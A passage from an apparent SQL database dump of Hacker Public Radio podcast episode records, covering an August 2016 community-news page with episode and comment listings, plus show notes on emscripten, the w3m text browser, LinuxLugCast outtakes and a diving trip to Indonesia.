href=\"https://hackerpublicradio.org/eps.php?id=2091\" target=\"_blank\">2091</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-08-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2091\" target=\"_blank\">Everyday Unix/Linux Tools for data processing</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2092\" target=\"_blank\">2092</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-08-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2092\" target=\"_blank\">My new love</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2093\" target=\"_blank\">2093</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-08-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2093\" target=\"_blank\">GNU Health</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2094\" target=\"_blank\">2094</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-08-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2094\" target=\"_blank\">Custom Keystrokes for Desktop Navigation on Gnome</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2095\" target=\"_blank\">2095</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-08-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2095\" target=\"_blank\">23 - SSL Certificates - How They Work</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2096\" target=\"_blank\">2096</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-08-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2096\" target=\"_blank\">Useful Bash functions - part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2097\" target=\"_blank\">2097</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-08-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2097\" target=\"_blank\">New Toys</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2098\" target=\"_blank\">2098</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-08-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2098\" target=\"_blank\">Minimal Music Site?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=340\" target=\"_blank\">mattkingusa</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2099\" target=\"_blank\">2099</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-08-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2099\" target=\"_blank\">Dat Muzak Showz</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=276\" target=\"_blank\">x1101</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2100\" target=\"_blank\">2100</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-08-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2100\" target=\"_blank\">Re-Enable Copy and Paste in Browsers</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2101\" target=\"_blank\">2101</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-08-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2101\" target=\"_blank\">What\'s on my podcatcher</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2102\" target=\"_blank\">2102</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-08-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2102\" target=\"_blank\">AngularJS\'s ng-repeat, and the browser that shall not be named</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2103\" target=\"_blank\">2103</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-08-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2103\" target=\"_blank\">DIY Book Binding</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2104\" target=\"_blank\">2104</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-08-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2104\" target=\"_blank\">Basic Audio Production: Reverb</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2105\" target=\"_blank\">2105</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-08-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2105\" target=\"_blank\">24 - SSL Certificates - Problems</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2106\" target=\"_blank\">2106</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-08-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2106\" target=\"_blank\">My Podcast Client</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2107\" target=\"_blank\">2107</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-08-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2107\" target=\"_blank\">Makefiles for Everyday Use</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2108\" target=\"_blank\">2108</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-08-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2108\" target=\"_blank\">Changing the Oil on My Wife\'s Car</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive and the <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a> archive.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-August/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 32 comments in total.</p>\n<p>There are 8 comments on 4 previous shows:</p>\n      <ul>\n        <li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2027#comments\" target=\"_blank\">hpr2027</a></strong> (2016-05-10) \"<em>Old Engineers and New Engineers</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2027#4\" target=\"_blank\">Comment 4</a>: Alpha32 on 2016-08-03: \"Excellent show\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2066#comments\" target=\"_blank\">hpr2066</a></strong> (2016-07-04) \"<em>HPR Community News for June 2016</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2066#3\" target=\"_blank\">Comment 3</a>: Alpha32 on 2016-08-04: \"World oat domination\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2066#4\" target=\"_blank\">Comment 4</a>: Dave Morriss on 2016-08-06: \"Made in Scotland\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2081#comments\" target=\"_blank\">hpr2081</a></strong> (2016-07-25) \"<em>Fixing my daughter\'s laptop</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2081#2\" target=\"_blank\">Comment 2</a>: Alpha32 on 2016-08-07: \"Brilliant!\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2081#3\" target=\"_blank\">Comment 3</a>: Dave Morriss on 2016-08-07: \"I hope it never happens to you!\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2081#4\" target=\"_blank\">Comment 4</a>: Jonathan Kulp on 2016-08-07: \"I\'m in the Same Boat\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2081#5\" target=\"_blank\">Comment 5</a>: Dave Morriss on 2016-08-07: \"Thanks for the hint Jon!\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2082#comments\" target=\"_blank\">hpr2082</a></strong> (2016-07-26) \"<em>Basic Audio Production - Equalization</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2082#1\" target=\"_blank\">Comment 1</a>: Jonas on 2016-08-13: \"New perspective.\"</li>\n          </ul><br />\n        </li>\n      </ul>\n\n<p>There are 24 comments on 12 of this month\'s shows:</p>\n      <ul>\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2086#comments\" target=\"_blank\">hpr2086</a></strong> (2016-08-01) \"<em>HPR Community News for July 2016</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2086#1\" target=\"_blank\">Comment 1</a>: Tony Hughes on 2016-08-03: \"Whats in My Bag\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2088#comments\" target=\"_blank\">hpr2088</a></strong> (2016-08-03) \"<em>How my wife\'s grandma got me into linux.</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2088#1\" target=\"_blank\">Comment 1</a>: Tony Hughes on 2016-08-03: \"HPR 2088\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2088#2\" target=\"_blank\">Comment 2</a>: Steve on 2016-08-03: \"HPR 2088\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2088#3\" target=\"_blank\">Comment 3</a>: knightwise on 2016-08-04: \"Yeey Steve ! \"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2088#4\" target=\"_blank\">Comment 4</a>: other_Steve on 2016-08-24:\"[no title]\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2089#comments\" target=\"_blank\">hpr2089</a></strong> (2016-08-04) \"<em>Solving a blinkstick python problem</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2089#1\" target=\"_blank\">Comment 1</a>: Dave Morriss on 2016-08-13: \"Great show\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2090#comments\" target=\"_blank\">hpr2090</a></strong> (2016-08-05) \"<em>A Docker Dialog</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2090#1\" target=\"_blank\">Comment 1</a>: b-yeezi on 2016-08-08: \"More interviews\"</li>\n\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2090#2\" target=\"_blank\">Comment 2</a>: Thaj on 2016-08-17: \"Thanks!\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2091#comments\" target=\"_blank\">hpr2091</a></strong> (2016-08-08) \"<em>Everyday Unix/Linux Tools for data processing</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2091#1\" target=\"_blank\">Comment 1</a>: Jonathan Kulp on 2016-08-08: \"Ack!\"</li>\n\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2091#2\" target=\"_blank\">Comment 2</a>: Ken Fallon on 2016-08-17: \"I love detox \"</li>\n\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2091#3\" target=\"_blank\">Comment 3</a>: Dave Morriss on 2016-08-19: \"Thanks for mentioning \'ack\'\"</li>\n\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2091#4\" target=\"_blank\">Comment 4</a>: ivor on 2016-08-21: \"Interesting\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2093#comments\" target=\"_blank\">hpr2093</a></strong> (2016-08-10) \"<em>GNU Health</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hobbypublicradio.org/eps.php?id=2093#1\" target=\"_blank\">Comment 1</a>: Clinton Roy on 2016-08-09:\"[no title]\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2094#comments\" target=\"_blank\">hpr2094</a></strong> (2016-08-11) \"<em>Custom Keystrokes for Desktop Navigation on Gnome</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2094#1\" target=\"_blank\">Comment 1</a>: Dave Morriss on 2016-08-24: \"Using grep in a script\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2094#2\" target=\"_blank\">Comment 2</a>: Jon Kulp on 2016-08-25: \"Good tip\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2094#3\" target=\"_blank\">Comment 3</a>: Dave Morriss on 2016-08-25: \"grep -q\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2095#comments\" target=\"_blank\">hpr2095</a></strong> (2016-08-12) \"<em>23 - SSL Certificates - How They Work</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2095#1\" target=\"_blank\">Comment 1</a>: Ken Fallon on 2016-08-18: \"Not allowed in the EU\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2095#2\" target=\"_blank\">Comment 2</a>: Kevin O\'Brien on 2016-08-19: \"Different in EU\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2096#comments\" target=\"_blank\">hpr2096</a></strong> (2016-08-15) \"<em>Useful Bash functions - part 2</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2096#1\" target=\"_blank\">Comment 1</a>: Ken Fallon on 2016-08-18: \"Here\'s me with the questions\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2096#2\" target=\"_blank\">Comment 2</a>: Dave Morriss on 2016-08-18: \"Some answers for you...\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2097#comments\" target=\"_blank\">hpr2097</a></strong> (2016-08-16) \"<em>New Toys</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2097#1\" target=\"_blank\">Comment 1</a>: Tony Hughes on 2016-08-05: \"New Toys\"</li>\n\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2097#2\" target=\"_blank\">Comment 2</a>: Frank on 2016-08-19:\"[no title]\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2106#comments\" target=\"_blank\">hpr2106</a></strong> (2016-08-29) \"<em>My Podcast Client</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2106#1\" target=\"_blank\">Comment 1</a>: Dave Morriss on 2016-08-31: \"I had forgotten hpodder\"</li>\n          </ul><br />\n        </li>\n\n        <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2107#comments\" target=\"_blank\">hpr2107</a></strong> (2016-08-30) \"<em>Makefiles for Everyday Use</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n\n        <li style=\"list-style: none; display: inline\">\n          <ul>\n            <li><a href=\"https://hackerpublicradio.org/eps.php?id=2107#1\" target=\"_blank\">Comment 1</a>: Fweeb on 2016-08-31: \".PHONY\"</li>\n          </ul><br />\n        </li>\n      </ul>\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1847,'2015-09-01','Client Side C- WTF Is Wrong With You?',640,'In this episode of hackerpublicradio sigflup talks about her efforts porting stuff with emscripten','<p>\r\nThis is the link to the emulator: <a href=\"https://theadesilva.com/web_nes\">https://theadesilva.com/web_nes</a> \r\n</p>\r\n<p>\r\nemscripten\'s website is here <a href=\"https://kripken.github.io/emscripten-site\">https://kripken.github.io/emscripten-site</a>\r\n</p>',115,0,1,'CC-BY-SA','emscripten,c,c++,browser, javascript',0,0,1),
(1848,'2015-09-02','Introduction to w3m, a Command Line Web Browser',901,'A brief introduction to using w3m, a command line web browser with tab and image support.','<p>W3M is a text browser with image and tab support which supports both keyboard and mouse navigation. (Image support is not available in some terminals, but does work in Xterm and rxvt, but images may be opened in a external viewer)). Mouse and keyboard navigation are supported, but I recommend learning the keybindings. Keybindings are case sensitive.</p>\r\n<p>The manual is 12 pages long and quite exhaustive. Here are some useful keybindings to get started with.</p>\r\n<ul>\r\n<li>Open new tab: SHIFT-T</li>\r\n<li><p>Close tab: CTRL-Q</p></li>\r\n<li>Open URL: U (opens text dialog at bottom of window)</li>\r\n<li>See URL of current page: u (displays current URL at bottom of window)</li>\r\n<li><p>Close tab: CTRL Q</p></li>\r\n<li>Go left one tab: {</li>\r\n<li><p>Go right one tab: }</p></li>\r\n<li><p>Back in the same page: b</p></li>\r\n<li>Page Up: - (hyphen) or PG UP</li>\r\n<li><p>Page Down: SPACE or PG DOWN</p></li>\r\n<li>Previous page (&quot;Buffer&quot;): B</li>\r\n<li><p>There is no &quot;forward&quot; button, but you can use view History: CTRL-h</p></li>\r\n<li><p>Search in page: / (opens search dialog at bottom of window)</p></li>\r\n<li><p>Help: H</p></li>\r\n<li>Add bookmark: ESC-a</li>\r\n<li><p>View bookmarks: ESC-v</p></li>\r\n<li><p>Run shell command: # (Opens a dialog at the bottom of the window. Exit with B.)</p></li>\r\n<li><p>Paste into dialogs (e. g., passwords): Middle mouse button.</p></li>\r\n<li>Scroll left: . (period)</li>\r\n<li><p>Scroll right: , (comma)</p></li>\r\n</ul>\r\n<h2 id=\"useful-links\">Useful Links:</h2>\r\n<ul>\r\n<li>W3M homepage: <a href=\"https://w3m.sourceforge.net/\">https://w3m.sourceforge.net/</a></li>\r\n<li><p>W3M Manual: <a href=\"https://w3m.sourceforge.net/MANUAL\">https://w3m.sourceforge.net/MANUAL</a> Note: If you want to use W3M, I recommend having the manual handy.</p></li>\r\n<li><p>How-To Geek Intro to W3M: <a href=\"https://www.howtogeek.com/103574/how-to-browse-from-the-linux-terminal-with-w3m/\">https://www.howtogeek.com/103574/how-to-browse-from-the-linux-terminal-with-w3m/</a></p></li>\r\n<li><p>gotbletu\'s Youtube w3m tutorial: <a href=\"https://www.youtube.com/watch?v=Z22cFTB-uqg&list=PLzp-Yldf70WnwhVP-7CsgWkpLXY_pSLtu\">https://www.youtube.com/watch?v=Z22cFTB-uqg&amp;list=PLzp-Yldf70WnwhVP-7CsgWkpLXY_pSLtu</a></p></li>\r\n<li><p>Stack Exchange article on how to configure W3M to enable copying URLs (not tested). <a href=\"https://unix.stackexchange.com/questions/12497/yanking-urls-in-w3m\">https://unix.stackexchange.com/questions/12497/yanking-urls-in-w3m</a></p></li>\r\n<li><p>Xterm configuration menus: <a\r\nhref=\"https://scarygliders.net/2011/12/01/customize-xterm-the-original-and-best-terminal/?PageSpeed=noscript\">https://scarygliders.net/2011/12/01/customize-xterm-the-original-and-best-terminal/</a></p></li>\r\n</ul>\r\n',195,0,1,'CC-BY-SA','web browser, text web browser, tabs',0,0,1),
(1849,'2015-09-03','LinuxLugCast Episode-004 Outtakes',547,'Preshow &amp; aftershow banter that does not get published through our normal feeds.','<p>\r\nSome good content that we do not publish to the show <a href=\"https://linuxlugcast.com/?p=197\">https://linuxlugcast.com/?p=197</a>\r\n</p>\r\n',265,0,1,'CC-BY-SA','linuxlugcast,outtakes',0,0,1),
(1852,'2015-09-08','Operation Wallacea',1769,'I talk to my daughter about her recent trip to Indonesia','<h1 id=\"operation-wallacea\">Operation Wallacea</h1>\r\n<p>This summer my daughter Clara spent a month as a volunteer Research Assistant on Hoga Island in Indonesia learning to dive and helping to survey the coral reef and other habitats.</p>\r\n<p>In this episode we talk about Clara\'s experiences with <em>Operation Wallacea</em>.</p>\r\n<h1 id=\"photos\">Photos</h1>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img001.png\" alt=\"1 Welcome to Hoga Island\" /><figcaption>1 Welcome to Hoga Island</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img002.png\" alt=\"2 Relaxing near the Lodge\" /><figcaption>2 Relaxing near the Lodge</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img003.png\" alt=\"3 Beach\" /><figcaption>3 Beach</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img004.png\" alt=\"4 Soft and hard corals\" /><figcaption>4 Soft and hard corals</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img005.png\" alt=\"5 Divers and soft corals\" /><figcaption>5 Divers and soft corals</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img006.png\" alt=\"6 Upside-down jellyfish\" /><figcaption>6 Upside-down jellyfish</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img007.png\" alt=\"7 Mangroves\" /><figcaption>7 Mangroves</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img008.png\" alt=\"8 Humbug Damselfish\" /><figcaption>8 Humbug Damselfish</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img009.png\" alt=\"9 Blue Damselfish\" /><figcaption>9 Blue Damselfish</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img010.png\" alt=\"10 The hut from inside\" /><figcaption>10 The hut from inside</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img011.png\" alt=\"11 The hut&#39;s verandah\" /><figcaption>11 The hut\'s verandah</figcaption>\r\n</figure>\r\n<figure>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1852_img012.png\" alt=\"12 The Shop\" /><figcaption>12 The Shop</figcaption>\r\n</figure>\r\n<h1 id=\"links\">Links</h1>\r\n<ul>\r\n<li>Operation Wallacea (OpWall): <a href=\"https://opwall.com/\" class=\"uri\">https://opwall.com/</a>\r\n<ul>\r\n<li>OpWall in Indonesia: <a href=\"https://opwall.com/expeditions/indonesia/indonesia-site-facilities/\" class=\"uri\">https://opwall.com/expeditions/indonesia/indonesia-site-facilities/</a></li>\r\n</ul></li>\r\n<li>Professional Association of Diving Instructors (PADI): <a href=\"https://www.padi.com/Scuba-Diving/\" class=\"uri\">https://www.padi.com/Scuba-Diving/</a></li>\r\n<li>Cone Shell (genus <em>Conus</em>): <a href=\"https://en.wikipedia.org/wiki/Conus\" class=\"uri\">https://en.wikipedia.org/wiki/Conus</a></li>\r\n<li>Upside-down jellyfish (genus <em>Cassiopea</em>): <a href=\"https://en.wikipedia.org/wiki/Cassiopea\" class=\"uri\">https://en.wikipedia.org/wiki/Cassiopea</a></li>\r\n<li>Damselfish: <a href=\"https://en.wikipedia.org/wiki/Damselfish\" class=\"uri\">https://en.wikipedia.org/wiki/Damselfish</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','operation wallacea,hoga island,diving,padi,scuba,snorkel,coral,reef',0,0,1),
